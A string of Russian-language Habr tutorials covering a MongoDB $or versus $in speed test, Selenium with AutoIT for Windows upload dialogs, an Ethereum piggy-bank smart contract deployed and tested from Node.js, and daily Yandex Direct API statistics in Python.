Теперь у нас есть рабочий резервный вариант для старых браузеров, который практически идентичен основной версии. Для срабатывания резервного механизма необходима Flash-версия, но только в качества второстепенного варианта, как в моем примере. Конечно же, вам нужно будет скачать обе версии и привязать ссылки на соответствующие им CSS- и JS-файлы внутри тега head.
Ссылка на код:
Весь код и четыре демо-страницы aspx доступны [для скачивания по ссылке.](https://www.codeproject.com/KB/aspnet/697038/Uploadify_VS2012_Solution.zip) | https://habr.com/ru/post/341366/ | null | ru | null |
# MongoDB: $or VS $in — что работает быстрее?
По катом будет совсем небольшое сравнение производительности MongoDB в случаях использования $or и $in логических операций в запросах. Надеюсь, что данная заметка сэкономит кому-нибудь рабочее время.
Тесты запускались на MongoDB 2.4.9
Допустим в MongoDB есть коллекция документов. Для упрощения понимания сути — пусть это будут документы именно с двумя полями.
```
$m = new MongoClient('mongodb://mongodb01,mongodb02,mongodba/?replicaSet=pkrs');
$mdb = $m->selectDB('test');
$collection = $mdb->selectCollection('test');
$collection->drop();
$collection->ensureIndex(array('i' => 1, 'j' => 1));
for ($i = 0; $i < 100; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$collection->insert(array('i' => $i, 'j' => $j));
}
}
```
В коллекции будет всего 10К документов. Да, тут можно было использовать batchInsert, но не хочу усложнять понимание основной сути заметки.
Необходимо регулярно (несколько раз в секунду) делать выборку до 1000 документов. Условием выборки является набор несвязанных пар **i** и **j**.
Т.к. я с MongoDB начал работать меньше месяца назад, то первое, что пришло в голову — это запрос вот такого вида:
```
$orArray = array();
for ($i = 0; $i < 10; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$orArray[] = array('i' => $i, 'j' => $j);
}
}
$query = array('$or' => $orArray);
```
То, что тут данные идут по порядку — это только для примера, чтобы не забивать голову бизнес логикой. В реальности, как я выше отметил, пары **i** и **j** друг с другом никак не связаны и идут в хаотичном порядке.
Попробовав выполнить этот запрос у меня широко раскрылись глаза от неприятного удивления — запрос выполнялся **больше 2-х секунд**! Выше в коде видно, что индекс при этом создан.
Это было вообще неприемлемо.
Я решил убедиться, что тут не сеть тормозит, а дело именно в запросе.
Для теста сделает вот такой запрос:
```
$query = array('i' => array('$lt' => 10), 'j' => array('$lt' => 100));
```
Результат по объему данных тот же самый, но запрос уже начинает выполняться **0.01 секунды**.
Стало понятно, что нужно искать обходной путь. И он был найден. По логике запроса напрашивалось использование $in вместо $or. Но я не смог найти как использовать $in сразу по парам значений. Если такой способ есть, то буду очень благодарен за подсказку.
Раз я не знаю как сделать $in по двум полям, то введем искусственное поле следующим образом (слепим значения i и j через подчеркивание '\_'):
```
$collection->ensureIndex(array('ij' => 1));
for ($i = 0; $i < 100; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$collection->insert(array('i' => $i, 'j' => $j, 'ij' => $i.'_'.$j));
}
}
```
И тогда запрос наш становится следующим:
```
$inArray = array();
for ($i = 0; $i < 10; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$inArray[] = $i.'_'.$j;
}
}
$query = array('ij' => array('$in' => $inArray));
```
И «о чудо!» мы получаем наши данные всего за **0.01 секунды** (а ведь все начиналось с «больше 2-х секунд»).
Погуглив немного я нашел следующее объяснение данного феномена: при запросе с конструкцией $or MongoDB якобы делает несколько запросов и потом «мёржит» результаты. Не уверен в правоте данного утверждения, но другого пока не нашел.
P.S. Вывод: не злоупотребляйте $or
P.P.S. В коде ниже видно как я замерял время. Если кто-то не в курсе, то уточню, что при вызове find() запрос не выполняется! Создается только объект MongoCursor. И только уже при запросе первого документа идет сам запрос. Поэтому отсечки времени и снимаются на первой итерации цикла получения документов.
**P.P.P.S. Если кому-то будет интересно погонять тесты у себя, то вот весь исходник:**
```
php
$m = new MongoClient('mongodb://mongodb01,mongodb02,mongodba/?replicaSet=pkrs');
$mdb = $m-selectDB('test');
$collection = $mdb->selectCollection('test');
$collection->drop();
$collection->ensureIndex(array('i' => 1, 'j' => 1));
for ($i = 0; $i < 100; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$collection->insert(array('i' => $i, 'j' => $j));
}
}
$orArray = array();
for ($i = 0; $i < 10; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$orArray[] = array('i' => $i, 'j' => $j);
}
}
$query = array('$or' => $orArray);
testQuery('OR Query', $collection, $query);
$query = array('i' => array('$lt' => 10), 'j' => array('$lt' => 100));
testQuery('Range Query', $collection, $query);
$collection->drop();
$collection->ensureIndex(array('ij' => 1));
for ($i = 0; $i < 100; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$collection->insert(array('i' => $i, 'j' => $j, 'ij' => $i.'_'.$j));
}
}
$inArray = array();
for ($i = 0; $i < 10; ++$i) {
for ($j = 0; $j < 100; ++$j) {
$inArray[] = $i.'_'.$j;
}
}
$query = array('ij' => array('$in' => $inArray));
testQuery('IN Query', $collection, $query);
function testQuery ($testName, $collection, $query) {
$cursor = $collection->find($query);
$cursor->batchSize(1000);
$start = microtime(true);
$first = true;
foreach ($cursor as $doc) {
if ($first) {
$time1 = microtime(true);
$first = false;
}
}
$time2 = microtime(true);
$resultFirst = $time1 - $start;
$resultOther = $time2 - $time1;
echo "{$testName} - First: {$resultFirst} Other: {$resultOther}
\n";
}
```
**UPD 1** [dim\_s](http://habrahabr.ru/users/dim_s/) посоветовал вместо композитного (а из теста выше видно, что использовался именно композитный) индекса сделать два отдельных. Сделав так скорость обработки запроса ускорилась примерно в 10 раз (до 0.2 секунды), но все равно проигрывает варианту с $in
Выкладываю то, что выдает explain:
**Explain ($or при композитном индексе)**
```
/* 0 */
{
"clauses" : [
{
"cursor" : "BtreeCursor i_1_j_1",
"isMultiKey" : false,
"n" : 1,
"nscannedObjects" : 1,
"nscanned" : 1,
"nscannedObjectsAllPlans" : 1,
"nscannedAllPlans" : 1,
"scanAndOrder" : false,
"indexOnly" : false,
"nYields" : 0,
"nChunkSkips" : 0,
"millis" : 0,
"indexBounds" : {
"i" : [
[
1,
1
]
],
"j" : [
[
1,
1
]
]
}
},
{
"cursor" : "BtreeCursor i_1_j_1",
"isMultiKey" : false,
"n" : 1,
"nscannedObjects" : 1,
"nscanned" : 1,
"nscannedObjectsAllPlans" : 1,
"nscannedAllPlans" : 1,
"scanAndOrder" : false,
"indexOnly" : false,
"nYields" : 0,
"nChunkSkips" : 0,
"millis" : 0,
"indexBounds" : {
"i" : [
[
2,
2
]
],
"j" : [
[
2,
2
]
]
}
}
],
"n" : 2,
"nscannedObjects" : 2,
"nscanned" : 2,
"nscannedObjectsAllPlans" : 2,
"nscannedAllPlans" : 2,
"millis" : 0,
"server" : "mongodb01:27017"
}
```
**Explain ($or при двух отдельных индексах по i и j)**
```
/* 0 */
{
"clauses" : [
{
"cursor" : "BtreeCursor i_1",
"isMultiKey" : false,
"n" : 1,
"nscannedObjects" : 100,
"nscanned" : 100,
"nscannedObjectsAllPlans" : 300,
"nscannedAllPlans" : 300,
"scanAndOrder" : false,
"indexOnly" : false,
"nYields" : 0,
"nChunkSkips" : 0,
"millis" : 1,
"indexBounds" : {
"i" : [
[
1,
1
]
]
}
},
{
"cursor" : "BtreeCursor i_1",
"isMultiKey" : false,
"n" : 1,
"nscannedObjects" : 100,
"nscanned" : 100,
"nscannedObjectsAllPlans" : 300,
"nscannedAllPlans" : 300,
"scanAndOrder" : false,
"indexOnly" : false,
"nYields" : 0,
"nChunkSkips" : 0,
"millis" : 1,
"indexBounds" : {
"i" : [
[
2,
2
]
]
}
}
],
"n" : 2,
"nscannedObjects" : 200,
"nscanned" : 200,
"nscannedObjectsAllPlans" : 600,
"nscannedAllPlans" : 600,
"millis" : 2,
"server" : "mongodb01:27017"
}
```
**Explain ($in при искусственно введенном индексе)**
```
/* 0 */
{
"cursor" : "BtreeCursor ij_1 multi",
"isMultiKey" : false,
"n" : 2,
"nscannedObjects" : 2,
"nscanned" : 3,
"nscannedObjectsAllPlans" : 2,
"nscannedAllPlans" : 3,
"scanAndOrder" : false,
"indexOnly" : false,
"nYields" : 0,
"nChunkSkips" : 0,
"millis" : 0,
"indexBounds" : {
"ij" : [
[
"1_1",
"1_1"
],
[
"2_2",
"2_2"
]
]
},
"server" : "mongodb01:27017"
}
```
**UPD 2** Прогнал тест на свежей версии MongoDB 2.6
Действительно, исходный вариант (композитный индекс по двум полям) там работает значительно быстрее! А именно за 0.07 секунды. Но в тоже время вариант с индексом вида i\_j все равно за 0.006 — 0.01 секунд (т.е. примерно раз в 10 быстрее) | https://habr.com/ru/post/219913/ | null | ru | null |
# Selenium + AutoIT. Автоматизация тестирования Windows окон
Меня зовут Иван Сидоренко, я инженер по тестированию в компании Digital Design.
Передо мной стояла задача разработки авто-тестов для одного из наших проектов с помощью инструмента Selenium WebDriver на языке Java. Подробнее про это вы можете прочитать в моей прошлой [статье](https://habr.com/ru/company/digdes/blog/464403/)
[Selenium](https://ru.wikipedia.org/wiki/Selenium) — это инструмент для автоматизации веб-приложений в различных браузерах. В ходе разработки авто-тестов мне попался сценарий, при котором необходимо взаимодействовать с Windows окном для загрузки файлов. К сожалению, Selenium не умеет работать с Windows окнами, поэтому нужно было найти альтернативное решение.
В ходе поисков выбор пал на [AutoIT](https://ru.wikipedia.org/wiki/AutoIt). Этот инструмент разработан для автоматизации задач в Microsoft Windows, что и было необходимо. В этой статье я опишу работу с AutoIT для решения поставленной задачи. Предполагается, что у вас уже развернута среда разработки с подключенным Selenium WebDriver. В качестве примера будет использоваться окно для загрузки фотографий на одном из сайтов по редактированию фото. Итак, приступим.
1. [Скачиваем](https://www.autoitscript.com/site/autoit/downloads/) и устанавливаем AutoIT
2. Переходим на один из сервисов по загрузке фотографий, например, [сюда.](https://www.iloveimg.com/ru/photo-editor) Здесь необходимо нажать кнопку «Загрузить фотографии», для получения такого Windows окна
3. Теперь переходим в папку AutoIT3 и выбираем Au3Info.exe
4. Au3Info — это инструмент, который позволяет получить информацию о необходимом окне для автоматизации. Чтобы получить информацию о конкретном элементе просто перетащите курсор из блока Finder Tool на элемент окна. Получим значения атрибутов поля ввода элемента «Имя файла»
Для использования в скрипте AutoIT нам понадобиться атрибуты Title = 'Открытие' и Class = 'Edit'
5. Перейти в папку AutoIt3\SciTE и выбрать SciTE, здесь напишем такой простой скрипт
Здесь **ControlFocus** — метод, который устанавливает фокус на элементе окна «Имя файла»
— Первый параметр это значение Title, нужного окна, в нашем случае оно равно 'Открытие'
— Второй параметр необязателен
— Третий параметр это объедение значений атрибута Class и Instance, т.е. получается Edit1
**ControlSetText** — метод, с помощью которого происходит ввод текста в input элемента «Имя файла»
* Первый параметр — значение Title
* Второй параметр необязателен
* Третий параметр это объедение значений атрибута Class и Instance, т.е. получается Edit1
* Четвертый параметр — текст, который будет введен в input, здесь прописываем путь до файла, который будем прикреплять
**ControlClick** — кликает по кнопке «Открыть»
* Первый параметр — значение Title
* Второй параметр необязателен
* Третий параметр это объедение значений атрибута Class и Instance, т.е. получается Button1
6. Сохраняем скрипт как Autoit
7. Теперь, чтобы запустить скрипт, его нужно скомпилировать. Для компиляции скрипта есть два варианта — либо для 64 разрядной системы, либо для 86. Выберете соответствующий вашей операционной системе.
8. Получили скомпилированный файл AutoItScript.exe Проверим его работоспособность — перейдем на <[www.iloveimg.com/ru/photo-editor](https://www.iloveimg.com/ru/photo-editor)">сервис редактированию фото и нажмем «Выбрать изображение». Теперь запустим AutoItScript.exe
9. Теперь этот скрипт можно добавить в Selenium. Например для Java, такое добавление будет выглядеть вот так:
```
Runtime.getRuntime().exec("С:\\auto\\AutoItScript.exe");
```
Это решение отличается высокой стабильностью. Также из-за того, что в конечном итоге получаем исполняемый файл это решение можно использовать с разными языками программирования. Недостатком является то, что такой скрипт нельзя использоваться в headless моде — режиме, при котором не происходит запуск браузера.
Надеюсь эта статья поможет вам в автоматизации тестирования! | https://habr.com/ru/post/489502/ | null | ru | null |
# Интегрируем смартконтракт в веб-приложение на Nodejs
Если вам интересна тема разработки продуктов использующих смартконтракты, но вы хотите понять полный цикл создания таких приложений, то этот урок специально для вас (надеюсь). Из него вы узнаете как разработать, оттестировать, залить в сеть и интегрировать в ваше приложение смартконтракт для блокчейна Ethereum.
Для примера я взял знакомый всем с детства финансовый инструмент — копилку. Для того чтобы продемонстрировать всю мощь смарт-контрактов, я добавил возможность указать лимит, который не позволит снять деньги пока на счету не накопится определенная сумма. Все материалы урока вы можете найти в [репозитории PiggyBank](https://github.com/rumkin/piggy-bank), который содержит скрипты и UI для запуска примера.
Цель урока показать полный цикл разработки, поэтому код местами значительно упрощен. В повседневной разработке я советую применять иструменты вроде [Truffle](https://www.npmjs.com/package/truffle).
> **Внимание!** Для запуска необходимо вызвать `npm install` чтобы установить библиотеки ethereumjs-testrpc, web3 и прочие.
Шаги
----
Помимо написания самого смарт-контракта, необходимо проделать следущие шаги:
1. Программно создать аккаунт
2. Скомпилировать контракт
3. Задеплоить контракт в блокчейн
4. Оттестировать
5. Создать приложение, взаимодействующее с контрактом.
Чтобы запустить приложение вам понадобится запустить тестовую сеть. Сделать это можно командой `node bin/testnet.js`.
> **Подсказка**: Для запуска приложения шаги до третьего можно пропустить, так как все данные получаемые в шагах 1 и 2 добавлены в репозиторий в готовом виде.
Контракт
--------
Для начала напишем контракт. Алгоритм работы контаркта следующий:
1. Пользователь создает контракт и указывает неизменяемый лимит на выдачую (метод `PiggyBank`).
2. Пользователь отправляет монеты на кошелек контракта (метод `deposit`).
3. Пользователь проверяет доступна ли операция списания средств (метод `canWithdraw`).
4. Пользователь списывает средства на свой счет (метод `withdraw`).
Приведу код контракта из файла `contract.sol`:
```
pragma solidity ^0.4.0;
contract PiggyBank {
// Адрес владельца кошелька
address public owner;
// Лимит на выдачу средств
uint public limit;
// Множитель для перевода ether в wei
uint decimals = (10 ** 18);
// Модификатор метода. Предотвращет вызов посторонними
// методов доступных только владельцу контракта.
modifier isOwner() {
require(msg.sender == owner);
_;
}
// Событие вызываемое в момент пополнения счета.
event Deposit(address indexed from, uint value);
// Конструктор, получает минимальное количество монет на счету доступное для списания
// значение должно быть больше нуля и указывается в ether.
function PiggyBank(uint _limit) public {
require(_limit > 0);
owner = msg.sender;
limit = _limit * decimals;
}
// Метод для пополнения счета. Обязан содержать модификатор payable, чтобы
// принимать средства.
function deposit() public payable {
Deposit(msg.sender, msg.value);
}
// Метод проверяет достигнут ли лимит и доступны ли средства для списания.
// Ничего не изменяет поэтому имеет модификатор constant
function canWithdraw() public constant returns (bool) {
return this.balance >= limit;
}
// Метод отправляет средства владельцу контракта.
// Здесь мы используем собственный модификатор isOwner для отправки средств
// владельцу контракта.
function withdraw() public isOwner {
require(canWithdraw());
// Вместо owner можно использовать msg.sender, так как они в данном случае совпадают:
// вызвать метод может только owner.
owner.transfer(this.balance);
}
// Метод уничтожает контракт, но только если баланс пуст, иначе возвращает ошибку.
function kill() public isOwner {
require(this.balance == 0);
selfdestruct(owner);
}
}
```
> В быстрой разработке контракта вам поможет онлайн-[IDE](https://remix.ethereum.org).
После того, как контракт создан можно приступить к решению инфраструктурных задач.
Создание аккаунта
-----------------
Файл `1-account.js`.
Данный скрипт создает тестовый аккаунт с определенным балансом. При вызове из консоли файла 0-account.js вам будет предложенно ввести пароль и сумму в ether на вашем счету. После успешного выполнения секретный ключ и сумма будут записаны в файл `account.json`.
> Файл `account.json` используется в тестнете. Поэтому, если тестнет запущен (`bin/testnet.js`), перезапустите его.
расскажу подробнее о ключах. Для создания аккаунта необходимо создать секретный ключ. Из секретного ключа будут в дальнейшем получен адрес кошелька и публичный ключ. Секретный ключ это шестнадцатиричное число размером 256 бит, представленное в виде строки длинной 64 символа, содержащей префикс `0x`.
Лучше всего получить подобное значение с помощью генератора случайных чисел:
```
const crypto = require('crypto');
const key = '0x' + crypto.randomBytes(32).toString('hex');
```
Но для тестовых нужд мы будем получать sha3-хеш из введенного пользователем пароля:
```
const privateKey = Web3.utils.soliditySha3({ type: 'string', value: '******' });
```
Что на выходе даст нам:
```
0xc774c26b6185ccacd0ea11d1e5f03b5bac7d8171911d1861b8b7c1ab123ec94a
```
Чтобы работать с кошельком созданным вручную вам понадобится добавить его через web3 API. И хотя в данном уроке вам это не понадобится я все же покажу как это делается:
```
// Получаем адрес из приватного ключа
const address = web3.eth.accounts.privateKeyToAccount(privateKey);
// Добавляем кошелек
web3.accounts.wallets.add({
privateKey,
address,
});
```
После этого вы сможете отправлять транзакции с помощью сгенерированного вами ключа. Это может понадобится если ваше приложение будет самостоятельно создавать аккаунты, особенно, если их много. Стандартный метод `web3.eth.personal.newAccount` будет записывать ключи на диск в директорию `~/.ethereum/keystore`, что может быть по каким-либо причинам не желательно.
> **Внимание!** Настоятельно рекомендуется хранить закрытые ключи в зашифрованном виде.
Про менеджмент ключей и использование собственных ключей, я постараюсь рассказать отдельно.
Компиляция контракта
--------------------
Файл `2-compile.js`.
Данный скрипт компилирует исходный код из файла `contract.sol` и сохраняет результат в `code.json`, который будет использоваться в дальнейшем для деплоя и взаимодействия с контрактом.
Контакты в сети Ethereum хранятся в бинаром представлении, поэтому перед тем как использовать контракт нам необходимо скомпилирвоать исходный код. Делается это с помощью инструмента solc и в случае nodejs пакета solc (это скомпилированный с помощью emscripten solc).
После компиляции мы получим на выходе бинарный код `bytecode`, а так же описание интерфейса контракта. Вот как будет представлен метод withdraw в интерфейсе:
```
{
"interface": [
{
"constant": false,
"inputs": [],
"name": "withdraw",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
...
```
На выходе solc возвращает все контракты, которые найдет в исходном коде. Нам понадобится выбрать один, в нашем случае это `PiggyBank`:
```
const compiled = result.contracts[':PiggyBank'];
```
### Деплой
Файл `3-deploy.js`.
Скрипт берет скомплированный код из `code.json`. А затем создает контракт и заливает код в тестнет от имени пользователя. Полученный в результате адрес и интерфейс контракта записываются в файл `contract.json`.
Сначала создается пустой инстанс с интерфейсом и настройками по умолчанию (`from` и `gas`).
```
const PiggyBank = new web3.eth.Contract(code.interface, {
from: coinbase,
gas: 5000000, // Максимальное количество бензина
});
```
From — адрес от имени которого будут вызыватсья методы контракта.
Gas или бензин — это топливо для контракта, которое тратится в процессе работы приложения. Он нужен для того, чтобы избежать бесконечных циклов, способных остановить работу сети.
И так, все готово к заливке контракта:
```
const contract = await PiggyBank.deploy({
// Код контракта
data: code.bytecode,
// Аргументы конструктора
arguments: [1],
})
.send();
```
Вызов конструктора происходит в момент деплоя, поэтому мы сразу передаем в него аргументы. В случае с PiggyBank конструктор содержит один аргумент `uint _limit`. После выполнения данного кода с нас списали средства отдельно за проведение транзакции и отдельно за выполнение кода конструктора.
Все готов к запуску, останется только сохранить адрес контракта:
```
contract.options.address;
```
### Запуск
Файл `4-run.js`. Запуск `npm start`.
Скрипт запускает веб-сервер на порту `$PORT` или `8080` с простым интерфейсом для взаимодействия с контрактом. Открыв в браузере `http://localhost:8080` вы сможете перечислить деньги на счет (`deposit`) или перевести на счет владельца (`withdraw`).
Рассмотрим что происходит немного подробнее. Для начала мы создаем инстанс контракта ссылающийся на тот, что мы задеплоили ранее:
```
const piggy = new web3.eth.Contract(contract.interface, contract.address, {
from: coinbase,
gas: 5000000,
});
```
К вызову конструктора добавился еще один аргумент — `address`, который указывает на то, что это действующий контракт. Давайте посмотрим что мы можем с ним сделать. Как вы помните у нас есть методы `deposit`, `canWithdraw` и `withdraw`. Чтобы пополнить счет нам необходимо вызвать метод `deposit` и отправть несколько монет в копилку.
```
piggy.methods.deposit().send({
// Конвертируем ether в wei
value: web3.utils.toWei('1', 'ether'),
});
```
Ethereum использует в расчетах 18 знаков после запятой и при этом не поддерживает типы с плавающей точкой. Рассчеты производятся в веях, а затем конвертируются в эзеры. Для этого перед отправкой мы конвертируем ether в wei с помощью метода `web3.utils.toWei`. Которая в свою очередь использует библиотеку [BigNumber.js](https://www.npmjs.com/package/bignumber.js), для
рассчетов со значениями превышающими макисмально допустимые для типа Number.
Вызов метода `canWithdraw` будет отличаться, так как этот метод не вносит никаких изменений (`constant`), то для вызова вместо `send` используется `call`. Такая операция не вызовет списания средств и расходование бензина:
```
piggy.methods.canWithdraw().call();
```
Метод для отправки монет в копилку может выглядеть так:
```
router.use(async ({res}) => {
await piggy.methods.deposit().send({
value: web3.utils.toWei('1', 'ether'),
});
res.json(true);
});
```
### Уничтожение контракта
Файл `5-destroy.js`.
Скрипт уничтожает контракт и удаляет из блокчена данные контракта. Не смотря на то, что вы все еще можете перречислить деньги на контракт, выполнить иные операции вы уже не сможете.
### Тестирование
Файл `test/test.spec.js`. Запуск `npm test`.
Для тестирвоания используется билиотека mocha. Перед тем как запустить тесты нам понадобится запустить изолированный тестнет с предустановленными данными. Для этого необходимо:
1. Создать новую тестовую сеть с пользователями.
2. Задеплоить контракт в тестовую сеть.
Вот как это может выглядеть инициализация новой сети:
```
const Web3 = require('web3');
const TestRpc = require('ethereumjs-testrpc');
const web3 = new Web3(
TestRpc.provider({
accounts: [
{
secretKey: Web3.utils.soliditySha3('password1'),
balance: Web3.utils.toWei(String(10), 'ether'),
},
{
secretKey: Web3.utils.soliditySha3('password2'),
balance: Web3.utils.toWei(String(10), 'ether'),
},
],
}),
);
```
Мы создаем тестнет с двумя пользователями, а затем инициализируем инстанс web3. Тестнет готов. Можно приступать к тестированию. Например оттестируем конструктор:
```
describe('PiggyBank()', function() {
it('Should instantiate contract', async function() {
await PiggyBank.deploy({
data: code.bytecode,
arguments: [2],
})
.send();
const limit = await PiggyBank.methods().limit().call();
should(web3.utils.fromWei(limit, 'ether')).be.equal('2');
});
});
```
Заключение
----------
В данном примере мы написали очень простое приложение, не обладающее сверхсложным поведением, но наглядно иллюстрирующее жизненный цикл контракта. Надеюсь это будет полезно тем, кто только начинает осваивать разработку для Ethereum. | https://habr.com/ru/post/343744/ | null | ru | null |
# Получение статистики по всем клиентам из API Яндекс Директ в разрезе дней с помощью Python
В работе часто использую короткую статистику в разрезе дней чтобы отслеживать отклонения трафика.
Более подробно о написании запросов написал в [статье « Получение рекламных кампаний Яндекс Директ с помощью API в DataFrame (Python)»](https://habr.com/ru/post/445734/).
В данной статье я в большей степени расскажу о том, как структурировать данные и запросы, чтобы этим можно было нормально пользоваться.
Нам следует прописать запрос к серверу как функцию.
Лично я сделал 2 файла: функция с запросом и файл с данными, которые будут передаваться в функцию.
В первом файле пишем функцию
----------------------------
Я запрашиваю по всем проектам одни и те же поля, поэтому мне нужно передавать в запрос только даты, логин и токен.
Передача данных в функцию у меня выглядит следующим образом:
```
def rep(token,login,date_from,date_to):
```
### Пишем запрос к серверу API Яндекс Директ
Данный запрос запрашивает данные по следующим параметрам:
* Date
* Impressions
* Clicks
* Ctr
* Cost
* AvgCpc
* AvgImpressionPosition
* AvgClickPosition
* AvgTrafficVolume
* BounceRate
* AvgPageviews
#### Конечный файл с запросом
**Код**
```
import requests
from requests.exceptions import ConnectionError
from time import sleep
import json
# Метод для корректной обработки строк в кодировке UTF-8 как в Python 3, так и в Python 2
import sys
def rep(token,login,date_from,date_to):
if sys.version_info < (3,):
def u(x):
try:
return x.encode("utf8")
except UnicodeDecodeError:
return x
else:
def u(x):
if type(x) == type(b''):
return x.decode('utf8')
else:
return x
# --- Входные данные ---
# Адрес сервиса Reports для отправки JSON-запросов (регистрозависимый)
ReportsURL = 'https://api.direct.yandex.com/json/v5/reports'
# OAuth-токен пользователя, от имени которого будут выполняться запросы
token = token
# Логин клиента рекламного агентства
# Обязательный параметр, если запросы выполняются от имени рекламного агентства
clientLogin = login
# --- Подготовка запроса ---
# Создание HTTP-заголовков запроса
headers = {
# OAuth-токен. Использование слова Bearer обязательно
"Authorization": "Bearer " + token,
# Логин клиента рекламного агентства
"Client-Login": clientLogin,
# Язык ответных сообщений
"Accept-Language": "ru",
# Режим формирования отчета
"processingMode": "auto"
# Формат денежных значений в отчете
# "returnMoneyInMicros": "false",
# Не выводить в отчете строку с названием отчета и диапазоном дат
# "skipReportHeader": "true",
# Не выводить в отчете строку с названиями полей
# "skipColumnHeader": "true",
# Не выводить в отчете строку с количеством строк статистики
# "skipReportSummary": "true"
}
# Создание тела запроса
body = {
"params": {
"SelectionCriteria": {
"DateFrom": date_from,
"DateTo": date_to
},
"FieldNames": [
"Date",
"Impressions",
"Clicks",
"Ctr",
"Cost",
"AvgCpc",
"AvgImpressionPosition",
"AvgClickPosition",
"AvgTrafficVolume",
"BounceRate",
"AvgPageviews",
],
"ReportName": u("Report4"),
"ReportType": "ACCOUNT_PERFORMANCE_REPORT",
"DateRangeType": "CUSTOM_DATE",
"Format": "TSV",
"IncludeVAT": "NO",
"IncludeDiscount": "NO"
}
}
# Кодирование тела запроса в JSON
body = json.dumps(body, indent=4)
# --- Запуск цикла для выполнения запросов ---
# Если получен HTTP-код 200, то выводится содержание отчета
# Если получен HTTP-код 201 или 202, выполняются повторные запросы
while True:
try:
req = requests.post(ReportsURL, body, headers=headers)
req.encoding = 'utf-8' # Принудительная обработка ответа в кодировке UTF-8
if req.status_code == 400:
print("Параметры запроса указаны неверно или достигнут лимит отчетов в очереди")
print("RequestId: {}".format(req.headers.get("RequestId", False)))
print("JSON-код запроса: {}".format(u(body)))
print("JSON-код ответа сервера: \n{}".format(u(req.json())))
break
elif req.status_code == 200:
format(u(req.text))
break
elif req.status_code == 201:
print("Отчет успешно поставлен в очередь в режиме офлайн")
retryIn = int(req.headers.get("retryIn", 60))
print("Повторная отправка запроса через {} секунд".format(retryIn))
print("RequestId: {}".format(req.headers.get("RequestId", False)))
sleep(retryIn)
elif req.status_code == 202:
print("Отчет формируется в режиме офлайн")
retryIn = int(req.headers.get("retryIn", 60))
print("Повторная отправка запроса через {} секунд".format(retryIn))
print("RequestId: {}".format(req.headers.get("RequestId", False)))
sleep(retryIn)
elif req.status_code == 500:
print("При формировании отчета произошла ошибка. Пожалуйста, попробуйте повторить запрос позднее")
print("RequestId: {}".format(req.headers.get("RequestId", False)))
print("JSON-код ответа сервера: \n{}".format(u(req.json())))
break
elif req.status_code == 502:
print("Время формирования отчета превысило серверное ограничение.")
print(
"Пожалуйста, попробуйте изменить параметры запроса - уменьшить период и количество запрашиваемых данных.")
print("JSON-код запроса: {}".format(body))
print("RequestId: {}".format(req.headers.get("RequestId", False)))
print("JSON-код ответа сервера: \n{}".format(u(req.json())))
break
else:
print("Произошла непредвиденная ошибка")
print("RequestId: {}".format(req.headers.get("RequestId", False)))
print("JSON-код запроса: {}".format(body))
print("JSON-код ответа сервера: \n{}".format(u(req.json())))
break
# Обработка ошибки, если не удалось соединиться с сервером API Директа
except ConnectionError:
# В данном случае мы рекомендуем повторить запрос позднее
print("Произошла ошибка соединения с сервером API")
# Принудительный выход из цикла
break
# Если возникла какая-либо другая ошибка
except:
# В данном случае мы рекомендуем проанализировать действия приложения
print("Произошла непредвиденная ошибка")
# Принудительный выход из цикла
break
json_string = json.dumps(body)
return req.text
```
2 Файл
------
### Выносим даты, логины и токены отдельно как переменные.
Примерно так:
```
#токены
mytoken='blablablablaBLABLAsdfgsrgkdfgnf'
#логины
project = 'elama-99999999'
#Даты
DateFrom="2019-04-08"
DateTo="2019-04-16"
```
Это делается для того, чтобы легко менять информацию по всем клиентам, и даты отчетов.
#### Код для запроса статистики по проекту
```
print( ‘\n===Название проекта===')
data=rep(mytoken,project,DateFrom,DateTo)
file=open("cashe.csv","w")
file.write(data)
file.close()
f=DataFrame.from_csv("cashe.csv",header=1,sep=' ',index_col=0,parse_dates=True)
f['Cost']=f['Cost']*1.2
f[‘Cost']=f['Cost']/1000000
f['AvgCpc']=f['AvgCpc']*1.2
f['AvgCpc']=f['AvgCpc']/1000000
print(f)
```
Подробнее:
1. Название проекта ("=" используем для лучшего выделения, чтобы потом не потеряться в информации)
2. Data — Записываем в эту строчку переменные, которые уже обозначили выше. (эта строчка и будет выполнять первый файл)
3. Записываем ответ сервера в файл
4. Открываем файл как DataFrame
5. Добавляем к денежным значениям НДС.
6. Переводим денежные значения в обычные рубли (стандартно API использует не рубли, а рубли\*1000000.
7. Выводим наш DataFrame
#### Второй файл выглядит следующим образом:
**Код**
```
#импорты
import pandas as pd
import numpy as np
from pandas import Series,DataFrame
from НАЗВАНИЕ ФАЙЛА С ЗАПРОСОМ import rep
#Функции вывода Датафрейма
pd.set_option('display.max_columns',None)
pd.set_option('display.expand_frame_repr',False)
pd.set_option(‘max_colwidth',-1)
#токены
mytoken='blablablablaBLABLAsdfgsrgkdfgnf'
#логины
project = 'elama-99999999'
#Даты
DateFrom="2019-04-08"
DateTo="2019-04-16"
print( ‘\n===Название проекта===')
data=rep(mytoken,project,DateFrom,DateTo)
file=open("cashe.csv","w")
file.write(data)
file.close()
f=DataFrame.from_csv("cashe.csv",header=1,sep=' ',index_col=0,parse_dates=True)
f['Cost']=f['Cost']*1.2
f[‘Cost']=f['Cost']/1000000
f['AvgCpc']=f['AvgCpc']*1.2
f['AvgCpc']=f['AvgCpc']/1000000
print(f)
```
Прописываем во втором файле все проекты, после чего у нас должна выводиться статистика по всем проектам.
После нам нужно будет лишь менять отрезок времени в полях DateFrom и DateTo. | https://habr.com/ru/post/449392/ | null | ru | null |
# Разбираем декораторы ES2016
